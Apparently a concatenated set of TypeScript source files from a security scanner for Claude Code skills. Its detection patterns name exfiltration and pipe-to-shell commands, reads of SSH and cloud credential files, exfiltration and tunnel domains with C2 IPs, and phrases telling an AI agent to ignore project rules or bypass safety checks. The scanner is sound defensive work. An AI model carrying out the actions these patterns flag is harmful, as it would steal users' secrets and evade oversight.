line per rule\n }\n }\n}\n\ninterface CredentialLeakMatch {\n severity: Severity;\n title: string;\n}\n\ninterface Code015Match {\n severity: Severity;\n title: string;\n}\n\nfunction detectCode015(line: string): Code015Match | null {\n if (REMOTE_PIPELINE_EXEC_PATTERNS.some((pattern) => pattern.test(line))) {\n return {\n severity: 'CRITICAL',\n title: 'Remote pipeline execution pattern',\n };\n }\n\n if (DATA_EXFIL_PATTERNS.some((pattern) => pattern.test(line))) {\n return {\n severity: 'HIGH',\n title: 'Data exfiltration pattern',\n };\n }\n\n return null;\n}\n\nfunction detectCredentialLeak(line: string): CredentialLeakMatch | null {\n for (const provider of PROVIDER_CREDENTIAL_PATTERNS) {\n if (provider.pattern.test(line)) {\n return {\n severity: 'CRITICAL',\n title: provider.title,\n };\n }\n }\n\n if (\n OPENAI_SK_FALLBACK_PATTERN.test(line) &&\n isCredentialAssignmentContext(line)\n ) {\n return {\n severity: 'CRITICAL',\n title: 'OpenAI-style API key exposure',\n };\n }\n\n const assignmentMatch = line.match(CREDENTIAL_EQUALS_PATTERN);\n if (\n assignmentMatch?.[1] &&\n assignmentMatch[2] &&\n hasCredentialNameToken(assignmentMatch[1]) &&\n isHighEntropyCredential(assignmentMatch[2])\n ) {\n return {\n severity: 'HIGH',\n title: 'High-entropy credential assignment',\n };\n }\n\n const keyValueMatch = line.match(CREDENTIAL_KEY_VALUE_PATTERN);\n if (\n keyValueMatch?.[1] &&\n keyValueMatch[2] &&\n hasCredentialNameToken(keyValueMatch[1]) &&\n isHighEntropyCredential(keyValueMatch[2])\n ) {\n return {\n severity: 'HIGH',\n title: 'High-entropy credential assignment',\n };\n }\n\n const bearerMatch = line.match(AUTHORIZATION_BEARER_PATTERN);\n if (bearerMatch?.[1] && isHighEntropyCredential(bearerMatch[1])) {\n return {\n severity: 'HIGH',\n title: 'Authorization bearer credential exposure',\n };\n }\n\n const xApiKeyMatch = line.match(X_API_KEY_PATTERN);\n if (xApiKeyMatch?.[1] && isHighEntropyCredential(xApiKeyMatch[1])) {\n return {\n severity: 'HIGH',\n title: 'X-API-Key credential exposure',\n };\n }\n\n return null;\n}\n\nfunction isCredentialAssignmentContext(line: string): boolean {\n if (/\\bAuthorization\\b\\s*:\\s*Bearer\\s+sk-/i.test(line)) {\n return true;\n }\n\n if (/\\bx-api-key\\b\\s*:\\s*sk-/i.test(line)) {\n return true;\n }\n\n const equalsMatch = line.match(CREDENTIAL_EQUALS_PATTERN);\n if (equalsMatch?.[1] && equalsMatch[2]) {\n return hasCredentialNameToken(equalsMatch[1]) && equalsMatch[2].startsWith('sk-');\n }\n\n const keyValueMatch = line.match(CREDENTIAL_KEY_VALUE_PATTERN);\n if (keyValueMatch?.[1] && keyValueMatch[2]) {\n return hasCredentialNameToken(keyValueMatch[1]) && keyValueMatch[2].startsWith('sk-');\n }\n\n return false;\n}\n\nfunction hasCredentialNameToken(name: string): boolean {\n const normalized = name\n .replace(/([a-z])([A-Z])/g, '$1_$2')\n .replace(/([A-Za-z])([0-9])/g, '$1_$2')\n .replace(/([0-9])([A-Za-z])/g, '$1_$2')\n .toLowerCase();\n\n const tokens = normalized\n .split(/[_-]+/)\n .map((token) => token.trim())\n .filter(Boolean);\n\n if (tokens.some((token) => CREDENTIAL_NAME_TOKENS.has(token))) {\n return true;\n }\n\n return tokens.length === 1 && CREDENTIAL_COMPOUND_NAMES.has(tokens[0]);\n}\n\nfunction isHighEntropyCredential(value: string): boolean {\n if (value.length < CREDENTIAL_MIN_LENGTH) {\n return false;\n }\n return shannonEntropy(value) > CREDENTIAL_MIN_ENTROPY;\n}\n\nfunction getTextSources(\n skill: ParsedSkill\n): Array<{ text: string; source: string }> {\n const sources: Array<{ text: string; source: string }> = [\n { text: skill.body, source: 'SKILL.md' },\n ];\n for (const file of skill.files) {\n if (file.content && file.path !== 'SKILL.md') {\n sources.push({ text: file.content, source: file.path });\n }\n }\n return sources;\n}\n\nfunction scanEncodedStrings(\n results: CheckResult[],\n text: string,\n source: string\n): void {\n // CODE-007: Base64/Hex long strings\n const longStringRegex = /[A-Za-z0-9+/=]{50,}|(?:0x)?[0-9a-fA-F]{50,}/g;\n let match;\n while ((match = longStringRegex.exec(text)) !== null) {\n const str = match[0];\n if (isBase64Like(str) || isHexEncoded(str)) {\n const lineNum = text.slice(0, match.index).split('\\n').length;\n results.push({\n id: 'CODE-007',\n category: 'CODE',\n severity: 'HIGH',\n title: 'Long encoded string',\n message: `${source}:${lineNum}: Found ${str.length}-char encoded string.`,\n line: lineNum,\n snippet: str.slice(0, 80) + '...',\n source,\n });\n }\n }\n\n // CODE-008: High Shannon entropy strings\n const wordRegex = /\\b[A-Za-z0-9_]{20,}\\b/g;\n while ((match = wordRegex.exec(text)) !== null) {\n const entropy = shannonEntropy(match[0]);\n if (entropy > 4.5) {\n const lineNum = text.slice(0, match.index).split('\\n').length;\n results.push({\n id: 'CODE-008',\n category: 'CODE',\n severity: 'MEDIUM',\n title: 'High entropy string',\n message: `${source}:${lineNum}: String \"${match[0].slice(0, 30)}...\" has entropy ${entropy.toFixed(2)} bits/char.`,\n line: lineNum,\n source,\n });\n }\n }\n\n // CODE-009: Multi-layer encoding\n const multiEncodingPatterns = [\n /atob\\s*\\(\\s*atob/i,\n /base64.*decode.*base64.*decode/i,\n /Buffer\\.from\\(.*Buffer\\.from/,\n /decode.*decode.*decode/i,\n ];\n for (const pattern of multiEncodingPatterns) {\n if (pattern.test(text)) {\n results.push({\n id: 'CODE-009',\n category: 'CODE',\n severity: 'CRITICAL',\n title: 'Multi-layer encoding detected',\n message: `${source}: Contains nested encoding/decoding operations.`,\n source,\n });\n break;\n }\n }\n}\n\nfunction scanObfuscation(\n results: CheckResult[],\n text: string,\n source: string\n): void {\n // CODE-011: Obfuscated variable names\n // Look for patterns like: const _0x1a2b = ...\n const obfuscatedVarRegex = /\\b_0x[0-9a-f]{2,}\\b/g;\n const obfMatches = text.match(obfuscatedVarRegex);\n if (obfMatches && obfMatches.length >= 3) {\n results.push({\n id: 'CODE-011',\n category: 'CODE',\n severity: 'MEDIUM',\n title: 'Obfuscated variable names',\n message: `${source}: Found ${obfMatches.length} hex-style variable names (e.g. ${obfMatches[0]}). May indicate obfuscated code.`,\n source,\n });\n }\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport { readFileSync, existsSync } from 'node:fs';\nimport { join } from 'node:path';\nimport { homedir } from 'node:os';\nimport { DEFAULT_IOC, type IOCDatabase, type CategorizedDomains, type DomainCategory } from './indicators.js';\n\nlet cachedIOC: IOCDatabase | null = null;\n\n/**\n * Load IOC database: embedded seed data + optional external override file.\n * External file is merged (appended) into the seed data, not replacing it.\n *\n * Search paths for override file:\n * 1. ~/.config/skill-checker/ioc-override.json\n */\nexport function loadIOC(): IOCDatabase {\n if (cachedIOC) return cachedIOC;\n\n const ioc = structuredClone(DEFAULT_IOC);\n\n const overridePath = join(\n homedir(),\n '.config',\n 'skill-checker',\n 'ioc-override.json'\n );\n\n if (existsSync(overridePath)) {\n try {\n const raw = readFileSync(overridePath, 'utf-8');\n const ext = JSON.parse(raw) as Partial<IOCDatabase>;\n mergeIOC(ioc, ext);\n } catch {\n // Invalid override file — silently use seed data only\n }\n }\n\n cachedIOC = ioc;\n return ioc;\n}\n\n/**\n * Reset the cached IOC database (useful for testing).\n */\nexport function resetIOCCache(): void {\n cachedIOC = null;\n}\n\n/**\n * Merge external IOC data into the base database.\n * Arrays are concatenated (deduplicated), objects are merged.\n */\nfunction mergeIOC(base: IOCDatabase, ext: Partial<IOCDatabase>): void {\n if (ext.c2_ips) {\n base.c2_ips = dedupe([...base.c2_ips, ...ext.c2_ips]);\n }\n if (ext.malicious_hashes) {\n Object.assign(base.malicious_hashes, ext.malicious_hashes);\n }\n if (ext.malicious_domains) {\n const categories: (keyof CategorizedDomains)[] = [\n 'exfiltration', 'tunnel', 'oast', 'paste', 'c2',\n ];\n for (const cat of categories) {\n if (ext.malicious_domains[cat]) {\n base.malicious_domains[cat] = dedupe([\n ...base.malicious_domains[cat],\n ...ext.malicious_domains[cat],\n ]);\n }\n }\n }\n if (ext.typosquat) {\n if (ext.typosquat.known_patterns) {\n base.typosquat.known_patterns = dedupe([\n ...base.typosquat.known_patterns,\n ...ext.typosquat.known_patterns,\n ]);\n }\n if (ext.typosquat.protected_names) {\n base.typosquat.protected_names = dedupe([\n ...base.typosquat.protected_names,\n ...ext.typosquat.protected_names,\n ]);\n }\n }\n if (ext.malicious_publishers) {\n base.malicious_publishers = dedupe([\n ...base.malicious_publishers,\n ...ext.malicious_publishers,\n ]);\n }\n if (ext.version) base.version = ext.version;\n if (ext.updated) base.updated = ext.updated;\n}\n\n/**\n * Get all malicious domains as a flat array.\n */\nexport function getAllDomains(ioc: IOCDatabase): string[] {\n const { exfiltration, tunnel, oast, paste, c2 } = ioc.malicious_domains;\n return [...exfiltration, ...tunnel, ...oast, ...paste, ...c2];\n}\n\n/**\n * Find which category a domain belongs to.\n * Returns undefined if domain is not in any category.\n */\nexport function getDomainCategory(\n ioc: IOCDatabase,\n domain: string\n): DomainCategory | undefined {\n const d = domain.toLowerCase();\n const categories: DomainCategory[] = ['exfiltration', 'tunnel', 'oast', 'paste', 'c2'];\n for (const cat of categories) {\n if (ioc.malicious_domains[cat].some(\n (entry) => d === entry || d.endsWith('.' + entry)\n )) {\n return cat;\n }\n }\n return undefined;\n}\n\nfunction dedupe(arr: string[]): string[] {\n return [...new Set(arr)];\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\n/**\n * IOC (Indicators of Compromise) database type definition and seed data.\n * Seed data is compiled from publicly available threat intelligence.\n */\n\nexport type DomainCategory = 'exfiltration' | 'tunnel' | 'oast' | 'paste' | 'c2';\n\nexport interface CategorizedDomains {\n exfiltration: string[];\n tunnel: string[];\n oast: string[];\n paste: string[];\n c2: string[];\n}\n\nexport interface IOCDatabase {\n version: string;\n updated: string;\n c2_ips: string[];\n malicious_hashes: Record<string, string>;\n malicious_domains: CategorizedDomains;\n typosquat: {\n known_patterns: string[];\n protected_names: string[];\n };\n malicious_publishers: string[];\n}\n\n/**\n * Default embedded IOC seed data.\n * Sources: public threat intelligence reports, community advisories.\n */\nexport const DEFAULT_IOC: IOCDatabase = {\n version: '2026.03.16',\n updated: '2026-03-16',\n\n c2_ips: [\n '91.92.242.30',\n '91.92.242.39',\n '185.220.101.1',\n '185.220.101.2',\n '45.155.205.233',\n ],\n\n malicious_hashes: {\n // NOTE: Never add the SHA256 of an empty file (e3b0c44298fc...b855)\n // as it causes false positives on any empty file.\n 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2':\n 'clawhavoc-exfiltrator',\n },\n\n malicious_domains: {\n exfiltration: [\n 'webhook.site',\n 'requestbin.com',\n 'requestcatcher.com',\n 'pipedream.com',\n 'pipedream.net',\n 'hookbin.com',\n 'beeceptor.com',\n 'postb.in',\n 'webhook.lol',\n 'requestinspector.com',\n 'mockbin.org',\n ],\n tunnel: [\n 'ngrok.io',\n 'ngrok-free.app',\n 'serveo.net',\n 'localtunnel.me',\n 'bore.pub',\n 'localhost.run',\n 'loca.lt',\n 'telebit.cloud',\n 'playit.gg',\n 'portmap.io',\n 'pagekite.me',\n ],\n oast: [\n 'interact.sh',\n 'oast.fun',\n 'oastify.com',\n 'dnslog.cn',\n 'ceye.io',\n 'burpcollaborator.net',\n 'canarytokens.com',\n 'requestrepo.com',\n ],\n paste: [\n 'pastebin.com',\n 'paste.ee',\n 'hastebin.com',\n 'ghostbin.com',\n 'dpaste.org',\n 'rentry.co',\n '0bin.net',\n 'privatebin.net',\n 'paste.mozilla.org',\n ],\n c2: [\n 'evil.com',\n 'malware.com',\n 'exploit.in',\n 'darkweb.onion',\n ],\n },\n\n typosquat: {\n known_patterns: [\n 'clawhub1',\n 'cllawhub',\n 'clawhab',\n 'moltbot',\n 'claw-hub',\n 'clawhub-pro',\n ],\n protected_names: [\n 'clawhub',\n 'secureclaw',\n 'openclaw',\n 'clawbot',\n 'claude',\n 'anthropic',\n 'skill-checker',\n ],\n },\n\n malicious_publishers: [\n 'clawhavoc',\n 'phantom-tracker',\n 'solana-wallet-drainer',\n ],\n};\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill, Severity } from '../types.js';\nimport { reduceSeverity } from '../types.js';\nimport {\n isNamespaceOrSchemaURI,\n isInNetworkRequestContext,\n isInDocumentationContext,\n isNearDocumentationHeader,\n isInCodeBlock,\n isLicenseFile,\n isLocalhostURL,\n} from '../utils/context.js';\nimport { loadIOC, getAllDomains, getDomainCategory } from '../ioc/index.js';\n\n/** Hardcoded fallback domains (used when IOC has no malicious_domains) */\nconst FALLBACK_SUSPICIOUS_DOMAINS = [\n 'darkweb.onion',\n];\n\n/**\n * Check if the line contains a suspicious domain combined with sensitive operations.\n * These combinations indicate likely malicious intent rather than documentation.\n */\nfunction isSensitiveDomainCombo(line: string): boolean {\n if (/curl\\b[^\\n]*(?:-d|--data|--data-binary|--data-raw|--data-urlencode)\\s+@/i.test(line)) {\n return true;\n }\n if (/curl\\b[^\\n]*(?:-F|--form)\\s+[^\\s=]+=@/i.test(line)) {\n return true;\n }\n if (/wget\\b[^\\n]*--post-file/i.test(line)) {\n return true;\n }\n if (/\\|\\s*(?:sh|bash|zsh|python|node)\\b/i.test(line)) {\n return true;\n }\n if (/(?:\\.env|\\.ssh|id_rsa|\\.aws|credentials|\\.netrc|\\.git-credentials)/i.test(line)) {\n return true;\n }\n return false;\n}\n\nconst MCP_SERVER_PATTERN = /\\bmcp[-_]?server\\b/i;\nconst NPX_Y_PATTERN = /\\bnpx\\s+-y\\s+/;\nconst NPM_INSTALL_PATTERN = /\\bnpm\\s+install\\b/;\nconst PIP_INSTALL_PATTERN = /\\bpip3?\\s+install\\b/;\nconst GIT_CLONE_PATTERN = /\\bgit\\s+clone\\b/;\n\n/** URL extraction pattern */\nconst URL_PATTERN = /https?:\\/\\/[^\\s\"'`<>)\\]]+/g;\n/** IP address pattern (not localhost) */\nconst IP_URL_PATTERN = /https?:\\/\\/(?:\\d{1,3}\\.){3}\\d{1,3}/;\n\n/**\n * Extract hostname from a URL string without using the URL constructor\n * (which may throw on malformed URLs found in skill content).\n */\nfunction extractHostname(url: string): string {\n const afterProto = url.replace(/^https?:\\/\\//, '');\n const hostPort = afterProto.split('/')[0].split('?')[0].split('#')[0];\n const host = hostPort.split(':')[0];\n return host.toLowerCase();\n}\n\n/**\n * Check if a hostname matches a domain exactly or is a subdomain of it.\n * e.g. domain=\"evil.com\" matches \"evil.com\" and \"a.evil.com\"\n * but NOT \"notevil.com\" or \"evil.com.cn\"\n */\nfunction hostnameMatchesDomain(hostname: string, domain: string): boolean {\n const d = domain.toLowerCase();\n return hostname === d || hostname.endsWith('.' + d);\n}\n\nexport const supplyChainChecks: CheckModule = {\n name: 'Supply Chain',\n category: 'SUPPLY',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n const allText = getAllText(skill);\n const ioc = loadIOC();\n const suspiciousDomains = getAllDomains(ioc);\n if (suspiciousDomains.length === 0) {\n suspiciousDomains.push(...FALLBACK_SUSPICIOUS_DOMAINS);\n }\n\n for (let i = 0; i < allText.length; i++) {\n const { line, lineNum, source } = allText[i];\n\n // SUPPLY-001: Unknown MCP server references\n if (MCP_SERVER_PATTERN.test(line)) {\n let severity: Severity = 'HIGH';\n let reducedFrom: Severity | undefined;\n let msgSuffix = '';\n const srcLines = getLinesForSource(skill, source);\n const localIdx = getLocalIndex(source, lineNum, skill.bodyStartLine);\n if (localIdx >= 0 && isInCodeBlock(srcLines, localIdx)) {\n const r = reduceSeverity(severity, 'in code block');\n severity = r.severity;\n reducedFrom = r.reducedFrom;\n msgSuffix = ` ${r.annotation}`;\n }\n results.push({\n id: 'SUPPLY-001',\n category: 'SUPPLY',\n severity,\n title: 'MCP server reference',\n message: `${source}:${lineNum}: References an MCP server. Verify it is from a trusted source.${msgSuffix}`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n source,\n reducedFrom,\n });\n }\n\n // SUPPLY-002: npx -y auto-install\n if (NPX_Y_PATTERN.test(line)) {\n results.push({\n id: 'SUPPLY-002',\n category: 'SUPPLY',\n severity: 'MEDIUM',\n title: 'npx -y auto-install',\n message: `${source}:${lineNum}: Uses npx -y which auto-installs packages without confirmation.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n source,\n });\n }\n\n // SUPPLY-003: npm/pip install unknown packages\n // Skip when in documentation context (installation guides / prerequisites)\n // Documentation context only applies to SKILL.md, not companion scripts\n if (NPM_INSTALL_PATTERN.test(line) || PIP_INSTALL_PATTERN.test(line)) {\n const allLines = getAllLines(skill);\n const globalIdx = findGlobalLineIndex(allLines, source, lineNum);\n const isDoc = source === 'SKILL.md' && globalIdx >= 0 && isInDocumentationContext(\n allLines.map((l) => l.line),\n globalIdx\n );\n const srcLines = getLinesForSource(skill, source);\n const localIdx = getLocalIndex(source, lineNum, skill.bodyStartLine);\n const inCodeBlock = localIdx >= 0 && isInCodeBlock(srcLines, localIdx);\n if (isDoc && !inCodeBlock) {\n // Documentation context without code block: skip entirely\n } else {\n let severity: Severity = 'HIGH';\n let reducedFrom: Severity | undefined;\n let msgSuffix = '';\n if (inCodeBlock) {\n // Check if also under a documentation header (double context)\n // Only applies to SKILL.md (script comments must not match)\n const isNearDoc = source === 'SKILL.md' && globalIdx >= 0 && isNearDocumentationHeader(\n allLines.map((l) => l.line),\n globalIdx\n );\n if (isNearDoc) {\n // Double context: code block + documentation header → LOW\n severity = 'LOW';\n reducedFrom = 'HIGH';\n msgSuffix = ' [reduced: in code block within documentation]';\n } else {\n const r = reduceSeverity(severity, 'in code block');\n severity = r.severity;\n reducedFrom = r.reducedFrom;\n msgSuffix = ` ${r.annotation}`;\n }\n }\n results.push({\n id: 'SUPPLY-003',\n category: 'SUPPLY',\n severity,\n title: 'Package installation command',\n message: `${source}:${lineNum}: Installs packages. Verify package names are legitimate.${msgSuffix}`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n source,\n reducedFrom,\n });\n }\n }\n\n // SUPPLY-006: git clone non-standard source\n // Skip when in documentation context (installation guides / prerequisites)\n // Documentation context only applies to SKILL.md, not companion scripts\n if (GIT_CLONE_PATTERN.test(line)) {\n const allLines = getAllLines(skill);\n const globalIdx = findGlobalLineIndex(allLines, source, lineNum);\n const isDoc = source === 'SKILL.md' && globalIdx >= 0 && isInDocumentationContext(\n allLines.map((l) => l.line),\n globalIdx\n );\n if (!isDoc) {\n let severity: Severity = 'MEDIUM';\n let reducedFrom: Severity | undefined;\n let msgSuffix = '';\n const srcLines = getLinesForSource(skill, source);\n const localIdx = getLocalIndex(source, lineNum, skill.bodyStartLine);\n if (localIdx >= 0 && isInCodeBlock(srcLines, localIdx)) {\n const r = reduceSeverity(severity, 'in code block');\n severity = r.severity;\n reducedFrom = r.reducedFrom;\n msgSuffix = ` ${r.annotation}`;\n }\n results.push({\n id: 'SUPPLY-006',\n category: 'SUPPLY',\n severity,\n title: 'git clone command',\n message: `${source}:${lineNum}: Clones a git repository. Verify the source.${msgSuffix}`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n source,\n reducedFrom,\n });\n }\n }\n\n // URL-based checks\n const urls = line.match(URL_PATTERN) || [];\n for (const url of urls) {\n // SUPPLY-004: Non-HTTPS URL\n // Skip namespace/schema URIs, license files, and localhost\n if (url.startsWith('http://')) {\n if (isLicenseFile(source)) continue; // legal text, not instruction\n if (isLocalhostURL(url)) continue; // no external attack surface\n if (!isNamespaceOrSchemaURI(url, line)) {\n const isNetworkCtx = isInNetworkRequestContext(line);\n let severity: Severity = isNetworkCtx ? 'HIGH' : 'MEDIUM';\n let reducedFrom: Severity | undefined;\n let msgSuffix = '';\n const srcLines = getLinesForSource(skill, source);\n const localIdx = getLocalIndex(source, lineNum, skill.bodyStartLine);\n if (localIdx >= 0 && isInCodeBlock(srcLines, localIdx)) {\n const r = reduceSeverity(severity, 'in code block');\n severity = r.severity;\n reducedFrom = r.reducedFrom;\n msgSuffix = ` ${r.annotation}`;\n }\n results.push({\n id: 'SUPPLY-004',\n category: 'SUPPLY',\n severity,\n title: 'Non-HTTPS URL',\n message: `${source}:${lineNum}: Uses insecure HTTP: ${url}${msgSuffix}`,\n line: lineNum,\n snippet: url,\n source,\n reducedFrom,\n });\n }\n }\n\n // SUPPLY-005: IP address instead of domain\n if (IP_URL_PATTERN.test(url)) {\n // Exclude localhost\n if (!/https?:\\/\\/127\\.0\\.0\\.1/.test(url) && !/https?:\\/\\/0\\.0\\.0\\.0/.test(url)) {\n results.push({\n id: 'SUPPLY-005',\n category: 'SUPPLY',\n severity: 'CRITICAL',\n title: 'IP address used instead of domain',\n message: `${source}:${lineNum}: Uses raw IP address: ${url}. This may bypass DNS-based security.`,\n line: lineNum,\n snippet: url,\n source,\n });\n }\n }\n\n // SUPPLY-007: Known suspicious domains (from IOC database)\n const hostname = extractHostname(url);\n for (const domain of suspiciousDomains) {\n if (hostnameMatchesDomain(hostname, domain)) {\n const category = getDomainCategory(ioc, domain);\n const categoryLabel = category ? ` (${category})` : '';\n\n let severity: Severity = 'HIGH';\n let reducedFrom: Severity | undefined;\n let msgSuffix = '';\n\n // Escalate: combined with sensitive operations on same line\n if (isSensitiveDomainCombo(line)) {\n severity = 'CRITICAL';\n msgSuffix = ' [escalated: combined with sensitive operation]';\n } else {\n // Check code block context\n const srcLines = getLinesForSource(skill, source);\n const localIdx = getLocalIndex(source, lineNum, skill.bodyStartLine);\n const inCodeBlock = localIdx >= 0 && isInCodeBlock(srcLines, localIdx);\n\n if (inCodeBlock) {\n severity = 'MEDIUM';\n reducedFrom = 'HIGH';\n msgSuffix = ' [reduced: in code block]';\n } else {\n // Check documentation context\n const allLines = getAllLines(skill);\n const globalIdx = findGlobalLineIndex(allLines, source, lineNum);\n const isDoc = source === 'SKILL.md' && globalIdx >= 0 && isInDocumentationContext(\n allLines.map((l) => l.line),\n globalIdx\n );\n if (isDoc) {\n severity = 'LOW';\n reducedFrom = 'HIGH';\n msgSuffix = ' [reduced: in documentation context]';\n }\n }\n }\n\n results.push({\n id: 'SUPPLY-007',\n category: 'SUPPLY',\n severity,\n title: `Suspicious domain${categoryLabel} detected`,\n message: `${source}:${lineNum}: References suspicious domain \"${domain}\".${msgSuffix}`,\n line: lineNum,\n snippet: url,\n source,\n reducedFrom,\n });\n break;\n }\n }\n }\n }\n\n return results;\n },\n};\n\ntype TextLine = { line: string; lineNum: number; source: string };\n\n/** Get all lines for a specific source file as a string array (for code block tracking). */\nfunction getLinesForSource(skill: ParsedSkill, source: string): string[] {\n if (source === 'SKILL.md') return skill.bodyLines;\n const file = skill.files.find((f) => f.path === source);\n return file?.content?.split('\\n') ?? [];\n}\n\n/** Convert source-relative lineNum to zero-based index in the source lines array. */\nfunction getLocalIndex(source: string, lineNum: number, bodyStartLine: number): number {\n if (source === 'SKILL.md') return lineNum - bodyStartLine;\n return lineNum - 1;\n}\n\nfunction getAllText(skill: ParsedSkill): TextLine[] {\n const result: TextLine[] = [];\n\n for (let i = 0; i < skill.bodyLines.length; i++) {\n result.push({\n line: skill.bodyLines[i],\n lineNum: skill.bodyStartLine + i,\n source: 'SKILL.md',\n });\n }\n\n for (const file of skill.files) {\n if (file.content && file.path !== 'SKILL.md') {\n const lines = file.content.split('\\n');\n for (let i = 0; i < lines.length; i++) {\n result.push({ line: lines[i], lineNum: i + 1, source: file.path });\n }\n }\n }\n\n return result;\n}\n\n/** Get all lines from SKILL.md body (for context lookback) */\nfunction getAllLines(skill: ParsedSkill): TextLine[] {\n return getAllText(skill);\n}\n\n/** Find the global index of a source:lineNum in the flat list */\nfunction findGlobalLineIndex(\n allLines: TextLine[],\n source: string,\n lineNum: number\n): number {\n return allLines.findIndex(\n (l) => l.source === source && l.lineNum === lineNum\n );\n}\n","// Skill Checker - Security checker for Claude Code skills\n// Copyright (C) 2026 Alexander Jin\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU Affero General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU Affero General Public License for more details.\n//\n// You should have received a copy of the GNU Affero General Public License\n// along with this program. If not, see <https://www.gnu.org/licenses/>.\n\nimport type { CheckModule, CheckResult, ParsedSkill } from '../types.js';\n\n/** Recursive/amplification patterns */\nconst AMPLIFICATION_PATTERNS = [\n /\\brepeat\\s+(this|the\\s+above)\\s+\\d+\\s+times\\b/i,\n /\\bdo\\s+this\\s+forever\\b/i,\n /\\binfinite\\s+loop\\b/i,\n /\\bwhile\\s*\\(\\s*true\\s*\\)/,\n /\\bfor\\s*\\(\\s*;;\\s*\\)/,\n /\\brecursively\\s+(apply|run|execute|call)/i,\n /\\bkeep\\s+(running|doing|executing)\\s+until/i,\n];\n\n/** Requesting unrestricted tool access */\nconst UNRESTRICTED_TOOL_PATTERNS = [\n /\\bBash\\s*\\(\\s*\\*\\s*\\)/,\n /allowed[_-]?tools\\s*:\\s*\\[?\\s*[\"']?\\*[\"']?\\s*\\]?/i,\n /\\ball\\s+tools\\b/i,\n /\\bunrestricted\\s+access\\b/i,\n /\\bfull\\s+access\\b/i,\n];\n\n/** Patterns that disable safety */\nconst DISABLE_SAFETY_PATTERNS = [\n /\\bdisable\\s+(safety|security|checks?|hooks?|guard)/i,\n /\\bbypass\\s+(safety|security|checks?|hooks?|guard)/i,\n /\\bskip\\s+(safety|security|checks?|hooks?|guard|verification)/i,\n /\\bturn\\s+off\\s+(safety|security|checks?|hooks?)/i,\n /--no-verify\\b/,\n /--force\\b/,\n /--skip-hooks?\\b/,\n];\n\n/** Patterns that ignore project rules */\nconst IGNORE_RULES_PATTERNS = [\n /\\bignore\\s+(the\\s+)?CLAUDE\\.md\\b/i,\n /\\bignore\\s+(the\\s+)?project\\s+rules?\\b/i,\n /\\bignore\\s+(the\\s+)?\\.claude\\b/i,\n /\\boverride\\s+(the\\s+)?project\\s+(settings?|config|rules?)\\b/i,\n /\\bdo\\s+not\\s+(follow|obey|respect)\\s+(the\\s+)?(project|CLAUDE)/i,\n /\\bdisregard\\s+(the\\s+)?(project|CLAUDE)\\s+(rules?|config|settings?)/i,\n];\n\n/** Token waste patterns */\nconst TOKEN_WASTE_PATTERNS = [\n /\\brepeat\\s+(every|each)\\s+(response|answer|reply)/i,\n /\\balways\\s+(start|begin|end)\\s+(every|each)\\s+(response|answer|reply)\\s+with/i,\n /\\binclude\\s+this\\s+(text|message|string)\\s+in\\s+(every|each|all)/i,\n /\\bprint\\s+(the\\s+)?full\\s+(source|code|file)\\s+(every|each)\\s+time/i,\n];\n\nexport const resourceChecks: CheckModule = {\n name: 'Resource Abuse',\n category: 'RES',\n\n run(skill: ParsedSkill): CheckResult[] {\n const results: CheckResult[] = [];\n\n for (let i = 0; i < skill.bodyLines.length; i++) {\n const line = skill.bodyLines[i];\n const lineNum = skill.bodyStartLine + i;\n\n // RES-001: Instruction amplification\n for (const pattern of AMPLIFICATION_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'RES-001',\n category: 'RES',\n severity: 'HIGH',\n title: 'Instruction amplification',\n message: `Line ${lineNum}: Contains recursive/repetitive task pattern.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // RES-002: Unrestricted tool access\n for (const pattern of UNRESTRICTED_TOOL_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'RES-002',\n category: 'RES',\n severity: 'CRITICAL',\n title: 'Unrestricted tool access requested',\n message: `Line ${lineNum}: Requests broad/unrestricted tool access.`,\n line: lineNum,\n snippet: line.trim().slice(0, 120),\n });\n break;\n }\n }\n\n // RES-004: Disable safety checks\n for (const pattern of DISABLE_SAFETY_PATTERNS) {\n if (pattern.test(line)) {\n results.push({\n id: 'RES-004',\n 